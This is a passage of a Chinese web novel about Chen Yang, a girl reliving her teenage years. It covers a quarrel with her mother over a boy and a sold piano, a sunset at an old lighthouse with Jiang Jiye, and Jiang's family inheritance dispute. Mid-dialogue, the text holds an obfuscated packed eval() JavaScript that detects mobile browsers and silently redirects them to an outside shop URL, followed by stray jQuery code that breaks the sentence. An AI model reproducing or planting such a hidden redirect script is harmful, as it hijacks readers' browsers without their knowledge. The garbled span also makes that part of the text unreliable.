“但你不一样。” 元宵轻轻“喵”了一声。 像是听懂了。 冬夜寒风里,它往江纪野怀里更深地钻了钻。 街道车流不息,而不远处一辆黑色轿车,缓缓停在了路边。 陈漾回到家没多久,余雅也回来了。 这一个月里,除了过年那顿勉强算得上平静的年夜饭,其余时间余雅几乎都忙得脚不沾地。 陈世明依旧很少回家。 而在陈漾刻意的回避下,两人之间也几乎没有什么交流。 只是今天不同于往日。 余雅放下包后,却没有像往常一样直接回房,而是坐到了沙发上。 她抬起头,用一种既熟悉又陌生的语气开口:“陈漾,你过来一下,我问你点事。” 陈漾脚步顿了顿,还是走过去,在她对面坐下,“怎么了?” 十几岁的时候,余雅总喜欢这样和她谈话。 最开始,余雅会说“只是商量一下”,可到最后,事情往往都会演变成争吵。 后来陈漾不再和她争了。 于是那些对话,也从争吵,变成了沉默。 余雅生孩子生得早,如今还不到四十岁。生下陈漾没多久后,她便自己开了家服装店。 这些年生意一直不错,后来又陆续开了两家分店。 余雅保养得很好,外人常常都会惊讶,说完全看不出来她已经有个这么大的女儿。 “陈漾。” 余雅看着她,“这几天,你是不是总和一个男生一起走?” 陈漾沉默了一瞬,从前除了于忻,她几乎没有什么朋友,更别说异性朋友。 而且她一直知道余雅非常反感她在这个年纪,和异性走得太近,哪怕只是普通朋友。 见她不说话,余雅似乎以为她默认了,语气一下急了起来:“你这个年纪最该做的事情就是学习,不要去认识一些乱七八糟的人。” “你看到了吗?”陈漾问。 余雅皱起眉,“我要是没看到,你是不是还准备一直瞒着我?” 相比从前,现在的陈漾,其实更多的是无奈。 心理年龄上来说,她已经二十七岁了。 二十五岁的时候,余雅甚至开始催她结婚、生孩子,说这是每个女人都必须经历的人生。 却从来没有觉得,自己的婚姻失败,会不会给陈漾留下些什么。 但对陈漾而言,如果真的遇见那个她愿意的人,她也并不抗拒婚姻。 只是她不想将就。 更不想因为余雅的一句话,就去重复她的人生。 更何况她和江纪野之间,本来也没有任何超出“同学”之外的关系。 哪怕在北城和如今的江城,他们已经见过很多次。 可归根结底,也没有更逾矩的关系。 “就是普通同学。”陈漾平静地说:“我的学习也不会因为别人受到影响。” 余雅张了张嘴,还想继续说些什么。 陈漾却先一步打断了她,“妈,我去写作业了。” “等一下——”余雅声音一下提高,“那钢琴呢?” 陈漾动作停了停。 她垂下眼,心里轻轻叹了口气,“卖了。”她说。 几乎是下一秒,余雅的情绪便彻底被点燃,“你把钢琴卖了?!” “陈漾,你现在是不是越来越不得了了!” 余雅的反应其实在陈漾预料之中,只是她没想到对方会这么快发现。 但也知道如果提前商量,得到的结果只会是“不行”。 然后那架钢琴继续放在那个房间里,一年又一年。 最后彻底变成没人碰的废弃品。 “我和爸说过了。”陈漾说:“他同意了。” 陈世明向来不在意这些。 那天陈漾提起时,他甚至连原因都没问,只随口应了一声。 “你们现在有事是不是都不和我说了?”余雅声音越来越尖锐。 “你爸以前这样,现在连你也这样。” “我在你们陈家是不是就可有可无?!” 情绪一旦失控,就会把所有事情无限放大。 陈漾却已经没有力气再和她争,“钢琴的事情,是我没提前告诉你,我道歉。”她声音依旧很平静。 “但明天还要上学,我先回房间了。”话落下,陈漾也没有再等余雅开口径直回了房间。 陈漾原本以为今晚余雅还是会像从前一样,情绪失控地冲进她房间。 然后两人不可避免地爆发争吵。 可很久过去,房门依旧安静紧闭着,没有任何动静。 什么都没有发生。 像是有什么东西,终于在不知不觉间变了。 余雅坐在沙发上,神情有些恍惚。 许久后。 她拿出手机,拨通了一个号码。 11. 第 11 章 周一例行升旗仪式结束后,班主任把陈漾叫住,“等会儿来办公室一趟。” 旁边同学三三两两结队往教学楼走,陈漾应了声。 清晨寒风刮刀片似的往脸上扑,一走进办公室暖气迎面而来。 王国军端着保温杯坐在办公桌后。 他五十多岁,教语文,说话一直慢悠悠的,平时在年级里脾气算得上很好。 “你妈妈昨天给我打电话了。”王国军笑了笑,“说你最近总和一个男生一起走,是校外认识的吗?” 办公室里人不少,有来交作业的,也有被其他老师叫来谈话的学生。 “不是。”陈漾说:“就是学校同学。” “王老师,我们没别的关系。” 王国军点点头,看起来倒没多严肃,语气也很平常,“我也没说什么。” “你们现在这个年纪,有朋友很正常。” “只要别影响学习就行。” 他说着,又笑了笑,“至于你妈妈那边,我会和她说的,她也是担心你。” 作为老师来说王国军算得上少见的开明,陈漾松了口气,“谢谢老师。” “对了。”王国军忽然问,“你志向的大学是哪儿?” “宁城大学。”陈漾说。 王国军点点头,“你现在的成绩我看就是数学这块浮动有些大,不懂的多问老师,最重要的是保持心态。” 到了现在这个时候,比的不仅是成绩,更是心态。 上课铃快响了,王国军又随口叮嘱了几句,便让陈漾回班上课。 陈漾从办公室出来时走廊上已经没什么人了,窗外阳光落下来,风依旧很冷。 原本她还想去和江纪野说一下这件事,结果这一天无论中午还是晚上都没见到对方身影。 放学后陈漾原本还想去乐音看看。 只是走到校门口时,她想到什么又停住了脚步。 余雅的话,到底还是在她心里留下了点痕迹。 学校里对方看不见,但校外就不一定了,她也担心江纪野会因此受到什么影响。 于是最后,陈漾还是直接去了车站。 之后整整一个星期,陈漾都没再见过江纪野。 而这一周里余雅似乎也没再看见他们一起出现,于是关于“男同学”的事也没有再提。 钢琴的事情,同样不了了之。 周末余雅去店里后陈漾也出了门,公交车穿过熟悉的街道,窗外景色一点点掠过,车辆停在三中站台。 乐音今天开着门。 推门进去时,江纪野正站在里面整理琴架。 听见声音他下意识抬头,冷风顺着门缝灌进来,手里动作顿了顿。 几秒后,他才回过神,“来看元宵吗?” 陈漾点点头,把手里的猫粮放到桌上,“顺便也来看一下你。” 乐器店里始终有股淡淡的木质香,很安静,也很容易让人放松下来。 “上周没去学校?”陈漾问。 “嗯。”江纪野应了一声,“家里有点事,已经解决了。” “那就好。” 江纪野擦着琴键,元宵见陈漾来了就往她身上爬,一个劲儿地往怀里钻。 也不知道是冷还是黏人。 店里放着很轻的纯音乐,安静片刻后,江纪野忽然开口: “陈漾。” “要一起去个地方吗?” 二月底的江城依旧很冷,江边风大,这个时间几乎没什么人。 江纪野带着陈漾一路沿着废弃堤岸往前走,最后爬上了一座旧灯塔。 江水翻涌,拍打着岸边礁石,风从高处吹过,冷得刺骨。 两人并肩坐在石砖上。 再过不久,太阳就要落山了。 “江纪野。”陈漾低头看着下面的江面,“你怎么找到这地方的?” “小时候经常一个人来这附近。”江纪野看向远处,“后来偶然发现这里能上来。” “这里看日落很好看。” 小时候放学但他不想回家,于是总喜欢一个人沿着路没有目的地地往前走。 有一次,他在岸边坐了很久。 直到傍晚涨潮,江水一点点漫上来,他才下意识往高处走。 也是那一次他才发现这座灯塔居然可以上来。 夕阳一点点沉下去,余晖映进两人眼底,久久未散。 在太阳落下一半时江纪野忽然问:“陈漾,你为什么想考宁大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590867|205403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 宁城离江城并不近,也算不上数一数二的城市。 陈漾安静了几秒。 “以前只是想离江城远一点。”她轻声说,像是想到什么,眉眼又慢慢舒展开,“后来发现宁城好像也挺好的。” “人很好,风景也很好。” 她看向远处江面,声音被风吹得很轻,“以后去了宁城,我带你去看海。” 宁城是座沿海城市,大学那几年陈漾常常一个人去海边。 也是在那里她认识了很多人。 如果后来没有发生那些事她或许会一直留在宁城。 江纪野低声说:“好。” 夕阳彻底落下,废弃灯塔上的两道身影,也渐渐被昏黄暮色吞没。 江水翻涌,浪潮一下一下拍打着石岸。 天彻底黑下来时,江纪野回到了家。 桌上放着一份文件。 这套老房子是爷爷奶奶留给他的,房子不大,东西也不多。 江纪野把那份文件拿回了房间。 往事历历在目,仿佛重新上演了一遍。 黎曼如去世的时候,江凝也是如此,直接将一份文件交给他,让他签字。 那些东西,他可以给江凝。 如今,江凝却又要把两位老人的东西,让给那位,他从未见过面的弟弟。 甚至于,他十八岁,才知道原来自己还有一个弟弟。 江纪野把那份文件放到了抽屉里。 这么多年,尽管早已知道。 却还是在意识到这个事实的时候,心里有一丝的恍惚。 江凝和纪泽清,只是不爱他而已。 他们可以有第二个孩子,可以和其他很多父母一样爱自己的小孩。 唯独他拥有不了。 从前江纪野不在乎很多事,如果是从前的他,或者说是还没有遇见陈漾的他,他或许会签字。 会把所有东西都给那位弟弟。 因为他不在乎这些。 可如今江纪野有在乎的事情了,有了想抓住的东西。 他想去宁城,想离开江城。 想拥有一个真正属于自己的未来。 也想—— 和陈漾一起。